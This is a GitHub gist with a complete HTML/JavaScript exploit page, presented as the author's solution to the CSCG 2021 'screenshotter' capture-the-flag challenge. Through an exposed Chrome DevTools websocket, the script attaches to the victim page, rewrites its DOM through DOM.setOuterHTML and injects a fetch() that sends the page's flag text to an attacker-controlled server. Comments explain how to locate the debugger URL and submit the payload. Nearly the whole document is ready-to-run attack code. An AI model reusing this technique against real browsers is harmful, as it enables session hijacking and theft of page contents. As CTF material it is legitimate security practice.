Skip to content

Instantly share code, notes, and snippets.

@jamchamb
Last active October 30, 2021 17:56
Show Gist options
  • Save jamchamb/fb8e1974548b03b18ef77618ff799a57 to your computer and use it in GitHub Desktop.
Save jamchamb/fb8e1974548b03b18ef77618ff799a57 to your computer and use it in GitHub Desktop.
CSCG 2021 screenshotter solution (https://github.com/LiveOverflow/ctf-screenshotter)
<!doctype HTML>
<html>
<head>
<meta charset="utf-8" />
<title>WebSocket Test</title>
</head>
<body>
<!-- CSCG 2021 screenshotter solution -->
<script language="javascript" type="text/javascript">
// get browser Ws URL from /json/version:
// http://cscg.de:[email protected]:9222/json/version
var wsUri = "ws://172.18.0.2:9222/devtools/browser/44e2ef2d-eaf4-43a3-a735-5006e9ad5ca2"
var output;
var attackSrv = 'http://example:8080'
// server example: python3 -m http.server <port>
// Submit http://cscg.de:test@<attackSrv>/wshax3.html to run
// spam it or send roughly before flagger takes screenshot
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function sendMsgToTarget(sessionId, subMsg) {
let msg = {
"id": 3,
"method": "Target.sendMessageToTarget",
"params": {
"sessionId": sessionId,
"message": JSON.stringify(subMsg)
}
}
doSend(JSON.stringify(msg))
}
function init()
{
output = document.getElementById("output");
testWebSocket(wsUri);
}
function testWebSocket(wsUri)
{
websocket = new WebSocket(wsUri);
websocket.onopen = function(evt) { onOpen(evt) };
websocket.onclose = function(evt) { onClose(evt) };
websocket.onmessage = function(evt) { onMessage(evt) };
websocket.onerror = function(evt) { onError(evt) };
document.getElementById('wsUri').value = wsUri
}
function onOpen(evt)
{
writeToScreen("CONNECTED");
// listen for new targets
doSend('{"id":1,"method":"Target.setDiscoverTargets","params":{"discover":true}}')
}
function onClose(evt)
{
writeToScreen("DISCONNECTED: " + evt.code);
writeToScreen(evt.reason);
}
function checkTarget(data) {
if (data.params.targetInfo.url == "https://www.cscg.de/") {
if (!data.params.targetInfo.attached) {
writeToScreen('TARGET CLOSED', 'green')
return
}
let targetId = data.params.targetInfo.targetId
writeToScreen('FOUND TARGET ' + targetId, 'green')
let attachMsg = {
"id": 2,
"method": "Target.attachToTarget",
"params": {
"targetId": targetId
}
}
doSend(JSON.stringify(attachMsg))
}
}
async function targetAttached(data) {
// wait for page to load
await sleep(1000)
let sessionId = data.params.sessionId
// make sure node exists
let getDoc = {
"id": 1336,
"method": "DOM.getDocument",
"params": {}
}
sendMsgToTarget(sessionId, getDoc)
// update title
let subMsg = {
"id":1337,
"method":"DOM.setOuterHTML",
"params":{
"nodeId":1,
"outerHTML":"<html><head><title>a onload=fetch('"+attackSrv+"/?'+encodeURI(document.body.innerHTML.match(/CSCG{[A-Za-z0-9]+}/)[0]),{mode:'no-cors'})</title></head><body>haxed</body></html>"
}
}
sendMsgToTarget(sessionId, subMsg)
}
function onMessage(evt)
{
writeToScreen('RESPONSE: ' + evt.data, 'blue');
//websocket.close();
let data = JSON.parse(evt.data)
if (data.method == "Target.targetInfoChanged") {
checkTarget(data)
}
else if (data.method == "Target.attachedToTarget") {
targetAttached(data)
}
}
function onError(evt)
{
writeToScreen('ERROR: ' + evt.data, 'red');
}
function doSend(message)
{
writeToScreen("SENT: " + message);
websocket.send(message);
}
function writeToScreen(message, color='black')
{
var pre = document.createElement("p");
pre.style.wordWrap = "break-word";
pre.style.color = color;
pre.innerText = message;
output.appendChild(pre);
}
window.addEventListener("load", init, false);
</script>
<h2>WebSocket Test</h2>
<form>
<input type="text" id="wsUri" value="ws://demos.kaazing.com/echo" size="70">
<input type="button" id="connectButton" value="Connect" onClick="testWebSocket(getElementById('wsUri').value)">
<input type="button" id="disconnectButton" value="Disconnect" onClick="websocket.close()">
<br>
<textarea id="sendtext">hello world</textarea>
<input type="button" id="sendbutton" value="Send" onClick="doSend(getElementById('sendtext').value)">
</form>
<div id="output"></div>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment